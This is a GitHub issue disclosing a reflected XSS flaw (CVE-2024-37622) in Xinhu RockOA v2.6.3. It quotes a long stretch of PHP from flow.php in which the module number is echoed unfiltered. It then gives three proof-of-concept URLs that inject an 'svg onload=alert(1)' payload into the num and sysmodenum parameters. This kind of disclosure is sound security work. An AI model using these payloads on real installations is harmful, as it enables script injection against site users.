Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Reflected XSS Vulnerability in Xinhu RockOA v2.6.3 #4

Open
Hebing123 opened this issue May 30, 2024 · 1 comment
Open

Reflected XSS Vulnerability in Xinhu RockOA v2.6.3 #4

Hebing123 opened this issue May 30, 2024 · 1 comment

Comments

@Hebing123
Copy link

Hebing123 commented May 30, 2024

Summary

A Reflected Cross-Site Scripting (XSS) vulnerability has been identified in the Xinhu RockOA v2.6.3.

Details

The XSS vulnerability originates from /webmain/model/flow/flow.php:

if(!$this->moders)$this->echomsg('模块['.$num.']不存在,请到[流程模块列表]下添加'); }

class flowModel extends Model { public $modenum; public $editcont= ''; public $id = 0; public $moders; public $modeid; public $modename; public $sericnum; public $billrs = array(); public $rs = array(); public $urs = array(); public $drs = array(); public $fieldsarr = array(); public $fieldsarra = array(); public $mwhere; public $mtable; public $uname; public $uid = 0; public $optid = 0; public $isflow = 0; public $ismobile= 0; public $minwidth= 100; public $inputwidth= 0; public $atype = ''; public $daochubo= false; public $companyid= 1; protected function flowinit(){} protected function flowchangedata(){} protected function flowchangetodo(){} protected function flowdeletebill($sm){} protected function flowzuofeibill($sm){} protected function flowsubmit($na, $sm){} protected function flowaddlog($arr){} protected function flowdatalog($arr){} protected function flowcheckbefore(){} protected function flowcheckafter($zt, $sm){} protected function flowcheckfinsh($zt){} protected function flowgetfields($lx){} protected function flowgetoptmenu($opt){} protected function flowcheckname($num){} protected function flowcoursejudge($num){} protected function flowoptmenu($ors, $crs){} protected function flowisreadqx(){return false;} protected function flowisdeleteqx(){return false;} protected function flowprintrows($r){return $r;} protected function flowsubdata($r, $lx=0){return $r;} protected function flownexttodo($type){return false;} protected function flowbillwhere($lx, $uid){return '';} protected $flowweixinarr = array(); protected $flowviewufieds = 'uid'; protected $flowcompanyidfieds = 'comid'; protected $flowfieldstype = 0; public function flowrsreplace($rs){return $rs;} public function flowrsreplace_we($row, $rs){return $row;} public function flowwesearchdata($lx){return array();} protected function flowrsreplaceedit($rs){return $rs;} protected $flowstatusarr = array(1); protected $subsubdatastyle = ''; protected $wherejoin = array(); public $defaultorder = ''; public $floweditother = false; public $xiangbordercolor = ''; public $viewmodel,$chaomodel,$billmodel,$todomodel,$todosmodel,$flogmodel,$checksmodel,$cnamemodel,$wheremodel,$adminmodel,$remindmodel,$option,$rssust,$flowarr,$nowcourse,$nextcourse,$flowisend,$pipeiCoursearrc,$pipeiCoursearrs,$pipeiCoursearr,$_tempauoe; public function echomsg($msg) { if(!isajax())exit($msg); showreturn('', $msg, 201); exit(); } public function flowfieldarr($farr, $lx){return $farr;} public function flowinputtpl($cont, $lx){return $cont;} public function flowviewtpl($cont, $lx){return $cont;} public function floweditoffice($frs, $ofrs){} public function initdata($num, $id=null) { $this->initbase($num); $this->viewmodel = m('view'); $this->chaomodel = m('flow_chao'); $this->billmodel = m('flow_bill'); $this->todomodel = m('flow_todo'); $this->todosmodel = m('flowtodo'); $this->flogmodel = m('flow_log'); $this->checksmodel = m('flow_checks'); $this->cnamemodel = m('flowcname'); $this->wheremodel = m('where'); $this->adminmodel = m('admin'); $this->remindmodel = m('remind'); $this->option = m('option'); $this->companyid = $this->adminmodel->getcompanyid(); $this->tfieldsarra(); $this->mwhere = "`table`='$this->mtable' and `mid`=-1"; if(!$this->defaultorder){ $sortdir = arrvalue($this->moders, 'sortdir'); if(!isempt($sortdir))$this->defaultorder = str_replace(' ',',', $sortdir); } $this->flowinit(); if($id==null)return $this; $this->loaddata($id, true); return $this; } public function initbase($num) { if(is_array($num)){ $this->moders= $num; }else{ $this->moders = m('flow_set')->getone(is_numeric($num) ? $num : "`num`='$num'"); if(!$this->moders)$this->echomsg('模块['.$num.']不存在,请到[流程模块列表]下添加'); } $this->daochubo = ($this->rock->post('execldown')=='true') ? true :false; $table = $this->moders['table']; $this->modeid = $this->moders['id']; $this->modenum = $this->moders['num']; $this->moders['name'] = $this->lang($this->moders['name']); $this->modename = $this->moders['name']; $this->isflow = (int)$this->moders['isflow']; $this->settable($table); $this->mtable = $table; return $this; } private function tfieldsarra() { $rows = m('flow_element')->getrows("`mid`='$this->modeid' and `iszb`=0",'`name`,`fields`,`isbt`,`iszs`,`fieldstype`,`savewhere`,`data`,`isdr`,`iszb`,`issou`,`islu`,`islb`,`isonly`,`attr`','`sort`'); $this->fieldsarr = array(); if($rows)foreach($rows as $k=>$rs){ if($rs['islu']==1)$this->fieldsarr[] = $rs; } $this->fieldsarra = $rows; } public function inputtitle() { return $this->moders['name']; } public function flowsearchfields() { $arr = array(); if($this->isflow>0){ $arr[] = array('name'=>''.lang('申请人').'...','fields'=>'uid'); $arr[] = array('name'=>''.lang('提交人').'...','fields'=>'optid'); } return $arr; } public function loaddata($id, $ispd=true) { $this->id = (int)$id; $this->mwhere = "`table`='$this->mtable' and `mid`='$id'"; $swhere = "`id`='$id'"; $wherestr = $this->moders['where']; if(!isempt($wherestr)){ $wherestr = $this->rock->covexec($wherestr); $swhere .= ' and '.$wherestr; } $this->rs = $this->getone($swhere); $this->uname = ''; if(!$this->rs)$this->echomsg('数据记录不存在了'); $this->rs['base_name'] = ''; $this->rs['base_deptname'] = ''; if(isset($this->rs['uid']))$this->uid = $this->rs['uid']; if(isset($this->rs['comid']))$this->companyid = $this->rs['comid']; if(!isset($this->rs['applydt']))$this->rs['applydt'] = ''; if(!isset($this->rs['status']))$this->rs['status'] = 1; $uisfield = property_exists($this, 'uidfields') ? $this->uidfields : 'optid'; if($this->uid==0 && isset($this->rs[$uisfield]))$this->uid = $this->rs[$uisfield]; $this->optid = isset($this->rs['optid']) ? $this->rs['optid'] : $this->uid; $this->urs = $this->adminmodel->getone($this->uid,'id,name,user,deptid,deptids,deptname,deptallname,face,ranking,superid,superpath,superman,deptpath'); if($this->isempt($this->rs['applydt'])&&isset($this->rs['optdt']))$this->rs['applydt']=substr($this->rs['optdt'],0,10); if($this->urs){ $this->drs = $this->db->getone('[Q]dept',"`id`='".$this->urs['deptid']."'"); $this->uname = $this->urs['name']; $this->rs['base_name'] = $this->uname; if($this->drs){ $this->rs['base_deptname'] = $this->drs['name']; } } $this->sericnum = ''; $this->billrs = $this->billmodel->getone($this->mwhere); if($this->billrs){ $this->sericnum = $this->billrs['sericnum']; if(isempt(arrvalue($this->billrs,'uname'))){ $this->savebill(); } if($this->billrs['status']!=$this->rs['status'])$this->billmodel->update('`status`='.$this->rs['status'].'', $this->billrs['id']); if($this->billrs['isturn']!=$this->rs['isturn'])$this->billmodel->update('`isturn`='.$this->rs['isturn'].'', $this->billrs['id']); if(isempt($this->rs['base_name']))$this->rs['base_name'] = $this->billrs['uname']; if(isempt($this->rs['base_deptname']))$this->rs['base_deptname'] = $this->billrs['udeptname']; }else{ if($this->isflow>0)$this->savebill(); } if($this->isflow>0){ if($this->rs['status']==1 && $this->rs['isturn']=='0'){ $this->update(array('isturn' => 1), $this->id); $this->rs['isturn'] = 1; if($this->billrs)$this->billmodel->update('`isturn`=1', $this->billrs['id']); } } $this->getlogrows = array(); if($ispd)$this->isreadqx(); $this->rssust = $this->rs; $this->flowchangedata(); $this->rs['base_systitle'] = TITLE; $this->rs['base_modename'] = $this->modename; $this->rs['base_sericnum'] = $this->sericnum; $this->rs['base_summary'] = $this->getsummary(); } public function getdaiban() { $s = $this->rock->dbinstr('nowcheckid', $this->adminid); $to = $this->billmodel->rows('`modeid`='.$this->modeid.' and `isdel`=0 and `status` not in(1,2) and '.$s.''); return $to; } public function isreadqx($glx=0) { $bo = false; if($this->adminid==1)$bo=true; if($this->uid==$this->adminid && $this->adminid>0)$bo=true; if(!$bo && $this->isflow>0){ if($this->billrs){ $allcheckid = $this->billrs['allcheckid']; if(contain(','.$allcheckid.',',','.$this->adminid.','))$bo = true; } } if(!$bo){ if($this->urs && contain($this->urs['superpath'],'['.$this->adminid.']'))$bo = true; } if(!$bo){ $tos = $this->todosmodel->rows("".$this->mwhere." and `uid`='$this->adminid'"); if($tos>0)$bo=true; } if(!$bo){ $tos = $this->chaomodel->rows($this->mwhere.' and '.$this->rock->dbinstr('csnameid', $this->adminid).''); if($tos>0)$bo=true; } if(!$bo){ $tos = $this->db->rows('[Q]todo', "`uid`='$this->adminid' and ".$this->mwhere.""); if($tos>0)$bo=true; } if(!$bo)$bo = $this->flowisreadqx(); if(!$bo){ $bo = $this->isreadqxs(); } if(!$bo){ $tos = $this->isjiankongqx(); if($tos>0)$bo=true; } if($glx==1)return $bo; if(!$bo)$this->echomsg('无权限查看模块['.$this->modenum.'.'.$this->modename.']'.$this->uname.'的数据,请联系管理员到[流程模块→流程模块权限]下设置'); } public function isreadqxs() { $bo = false; $where = $this->viewmodel->viewwhere($this->moders, $this->adminid, $this->flowviewufieds); $where = str_replace('{asqom}','', $where); $tos = $this->rows("`id`='$this->id' $where "); if($tos>0)$bo=true; return $bo; } public function iseditqx() { $bo = 0; if($bo==0 && $this->isflow>0){ if($this->billrs && ($this->uid == $this->adminid || $this->optid==$this->adminid)){ if($this->billrs['nstatus']==0 || $this->billrs['nstatus']==2){ $bo = 1; } } if($this->rs['status']==1)$bo=0; } if($bo==0){ $where = $this->viewmodel->editwhere($this->moders, $this->adminid, $this->flowviewufieds); $where = str_replace('{asqom}','', $where); $tos = $this->rows("`id`='$this->id' $where "); if($tos>0)$bo=1; } return $bo; } public function isdeleteqx() { $bo = 0; if($bo==0 && $this->isflow>0){ if($this->billrs && ($this->uid == $this->adminid || $this->optid==$this->adminid)){ if($this->billrs['nstatus']==0 || $this->billrs['nstatus']==2){ $bo = 1; } } if($this->rs['status']==1)$bo=0; } if($bo==0){ $where = $this->viewmodel->deletewhere($this->moders, $this->adminid, $this->flowviewufieds); $where = str_replace('{asqom}','', $where); $tos = $this->rows("`id`='$this->id' $where "); if($tos>0)$bo=1; } $isd = $this->flowisdeleteqx(); if(is_numeric($isd) && $isd <= 1)$bo = $isd; return $bo; } public function isjiankongqx() { $bo = 0; if($bo==0){ $where = $this->viewmodel->jiankongwhere($this->moders, $this->adminid, $this->flowviewufieds); $where = str_replace('{asqom}','', $where); $tos = $this->rows("`id`='$this->id' $where "); if($tos>0)$bo=1; } return $bo; } public function getfields($lx=0) { $fields = array(); if(!$this->fieldsarra)$this->tfieldsarra(); $farr = $this->fieldsarra; foreach($farr as $k=>$rs)if($rs['iszs']=='1')$fields[$rs['fields']] = $rs['name']; $fters = $this->flowgetfields($lx); if(is_array($fters))$fields = array_merge($fields, $fters); return $fields; } public function getinputurl($num='',$mid=0,$can=array()) { if($num=='')$num = $this->modenum; $xa = 'lu'; if($this->ismobile==1)$xa = 'lum'; $url = 'index.php?a='.$xa.'&m=input&d=flow&num='.$num.'&mid='.$mid.''; if(is_array($can)){ foreach($can as $k=>$v)$url.='&'.$k.'='.$v.''; }else{ $url .= '&'.$can.''; } return $url; } public function replacepbr(&$arr, $k) { $val = arrvalue($arr, $k); if(!c('html')->ishtml($val))$arr[$k] = str_replace("\n",'<br>', $val); return $arr; } public function getdatalog($lx=0, $isdy=0) { m('log')->addread($this->mtable, $this->id); $this->todosmodel->biaoyidu($this->adminid, $this->modenum, $this->id); $fobj = m('file'); $this->ismobile = $lx; $arr['modename'] = $this->modename; $arr['title'] = $this->modename; $arr['modeid'] = $this->modeid; $arr['modenum'] = $this->modenum; $arr['mid'] = $this->id; $arr['status'] = arrvalue($this->rs,'status'); $arr['logarr'] = $this->getlog(1); $arr['isplview'] = arrvalue($this->moders,'ispl','0'); $arr['isys'] = arrvalue($this->moders,'isys','0'); $contview = ''; $lsds = ($isdy==2) ? $isdy: $lx; $path = ''.P.'/flow/page/view_'.$this->modenum.'_'.$lsds.'.html'; if(COMPANYNUM){ $path1 = ''.P.'/flow/page/view_'.$this->modenum.'_'.COMPANYNUM.'_'.$lsds.'.html'; if(file_exists($path1))$path = $path1; } $fstr = $fobj->getstr($this->mtable, $this->id, 3); $issubtabs = 0; if($fstr != ''){ $this->rs['file_content'] = $fstr; } $subdata = $this->getsuballdata(1); $this->rs['subdatarows'] = $subdata; $data = $this->flowrsreplace($this->rs, ($isdy==2) ? 3 : 1); $dataa = $this->viewjinfields(array($data)); $data = $dataa[0]; if($subdata){ $zbzd = m('flow_element')->getrows("`mid`='$this->modeid' and `iszb`>0 and `iszs`=1 and `fieldstype` in('uploadimg','uploadfile','textarea')",'`name`,`fields`,`fieldstype`,`iszb`','`iszb`,`sort`'); foreach($subdata as $zb=>$da){ $sub = $da['fields']; $data[$sub] = $this->getsubdata($zb,$da['data'],arrvalue($data,'subdatays'.$zb.'',$lx)); $data[''.$sub.'_style'] = 'padding:0'; } } $farrobj = $chufarr= array(); if(method_exists($this, 'flowxiangfields'))$chufarr = $this->flowxiangfields($chufarr); $farrobj['base_sericnum'] = array('name'=>arrvalue($chufarr,'base_sericnum','单号')); $farrobj['base_name'] = array('name'=>arrvalue($chufarr,'base_name','申请人')); $farrobj['base_deptname'] = array('name'=>arrvalue($chufarr,'base_deptname','申请人部门')); $farrobj['base_status'] = array('name'=>arrvalue($chufarr,'base_status','流程状态')); $farrobj['file_content'] = array('name'=>arrvalue($chufarr,'file_content','相关文件')); foreach($this->fieldsarra as $k=>$rs){ $fid = $rs['fields']; $fty = $rs['fieldstype']; if($fty=='uploadfile'){ $fval = arrvalue($data, $fid); if(isempt($fval))$fval='0'; $data[$fid] = ''; if($fval!='0'){ $data[$fid] = $fobj->getstr('', '', 3, "`id` in($fval)"); } } if($fty=='uploadimg' || $fty=='graph'){ $fval = arrvalue($data, $fid); if(!isempt($fval) && substr($fval,0,4)!='<img'){ $fval = $this->rock->gethttppath($fval); $fwei = ($fty=='graph') ? 50 : 100; $data[$fid] = '<img src="'.$fval.'" onclick="c.showviews(this)" height="'.$fwei.'">'; } } if($fty=='textarea'){ $this->replacepbr($data, $fid); } if($fty=='ditumap' && !isempt($rs['data'])){ $wzhi = arrvalue($data, $rs['data']); if(!isempt($wzhi))$data[$fid].='<a href="javascript:;" onclick="js.showmap(\''.$wzhi.','.$data[$fid].'\')">[查看地图]</a>'; } $farrobj[$fid] = $rs; } $_logarr = $qfields = array(); foreach($arr['logarr'] as $k1=>$rs1)$_logarr[$rs1['id']] = $rs1; $logrows = $this->flogmodel->getrows($this->mwhere.' and `modeid`='.$this->modeid.' and `courseid`>0 and `status`>0 and `valid`=1','*','id desc'); $togdar = array(); foreach($logrows as $k2=>$rs2){ $sie1 = $rs2['courseid'].'_'.$rs2['checkid']; if(isset($togdar[$sie1])){ $logrows[$k2]['show'] = false; }else{ $togdar[$sie1] = true; $logrows[$k2]['show'] = true; } } foreach($logrows as $k2=>$rs2){ if(!$rs2['show'])continue; $rs3 = $_logarr[$rs2['id']]; $_coid = $rs2['courseid']; if(!isempt($rs3['qmimg']))$rs3['name'] = '<img height="30" onclick="c.showviews(this)" width="70" src="'.$rs3['qmimg'].'">'; $key1 = 'course'.$_coid.''; if(!isset($data[''.$key1.'_name'])){ $data[''.$key1.'_name'] = $rs3['name']; $data[''.$key1.'_zt'] = '<font color="'.$rs3['color'].'">'.$rs3['statusname'].'</font>'; $data[''.$key1.'_sm'] = $rs3['sm']; $data[''.$key1.'_dt'] = $rs3['checkdt']; }else{ $data[''.$key1.'_name'] .= ','.$rs3['name']; $data[''.$key1.'_sm'] .= ','.$rs3['sm']; $data[''.$key1.'_dt'] = $rs3['checkdt']; } $key2 = ''.$key1.'_all'; if(!isset($data[$key2])){ $qfields[$key2] = $rs2['name']; $data[$key2]=''; } $str1 = $rs3['name'].' <font color="'.$rs3['color'].'">'.$rs3['statusname'].'</font> '.$rs3['checkdt'].''; if(!isempt($rs3['sm']))$str1.=','.$rs3['sm'].''; if($data[$key2]!='')$data[$key2].='<hr size="1">'; $data[$key2].= $str1; } $ztass = $this->getnowstatus(); $data['base_status'] = $ztass[3]; if(file_exists($path)){ $contview = $this->flowviewtpl(file_get_contents($path), $lx); preg_match_all('/\^(.*?)\^/', $contview, $list); foreach($list[1] as $k=>$nrs){ $fzdrs = arrvalue($farrobj, $nrs); if($fzdrs)$contview = str_replace('^'.$nrs.'^', $fzdrs['name'], $contview); } $contview = $this->rock->reparr($contview, $data); } $arr['isdefaultview'] = 0; foreach($chufarr as $f1=>$v1)$qfields[$f1] = $v1; if($this->isempt($contview) || contain($contview, '$contview$')){ $arr['isdefaultview'] = 1; $_fields = array(); if($this->isflow>0){ $_fields['base_sericnum'] = $farrobj['base_sericnum']['name']; $_fields['base_name'] = $farrobj['base_name']['name']; $_fields['base_deptname'] = $farrobj['base_deptname']['name']; $_fields['base_status'] = $farrobj['base_status']['name']; } $fields = array_merge($_fields, $this->getfields($lx)); if($fstr!='')$fields['file_content'] = $farrobj['file_content']['name']; foreach($subdata as $zb=>$da){ $fields[$da['fields']] = $da['name']; } if($qfields)$fields = array_merge($fields,$qfields); if($lx==0)foreach($fields as $k=>$rs){$data[''.$k.'_style'] = 'width:75%';break;} $_colsr = $this->xiangbordercolor; if($_colsr=='')$_colsr = getconfig('bcolorxiang'); $contvimr = c('html')->xiangtable($fields, $data, $_colsr); $contvimr = '<div align="center">'.$contvimr.'</div>'; if($lx==1){ $contvimr = ''; if($this->isflow>0 && $this->urs){ $contvimr.='<div class="r-border-b">

Since $num is not filtered,which leads to XSS vulnerability across multiple endpoints.

Proof of Concept (PoC)

http(s)://ip:port/index.php?a=getselectdata&act=city:citydata&actstr=Y2l0eTpjaXR5ZGF0YQ::&acttyle=act&ajaxbool=true&d=flow&limit=100&m=mode_customer%7Cinput&page=1&rnd=969497&sysmid=0&sysmodenum=customer%3Csvg%20onload=alert(1)%3E
...
http(s)://ip:port/task.php?a=p&callback=&mid=5&num=finfybx%3Csvg/onload=alert(1)%3E
...
http(s)://ip:port/?a=lu&callback=homebsbianjback&d=flow&m=input&mid=0&num=bianjian%3Csvg%20onload=alert(1)%3E

image

@Hebing123
Copy link
Author

CVE-2024-37622

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

1 participant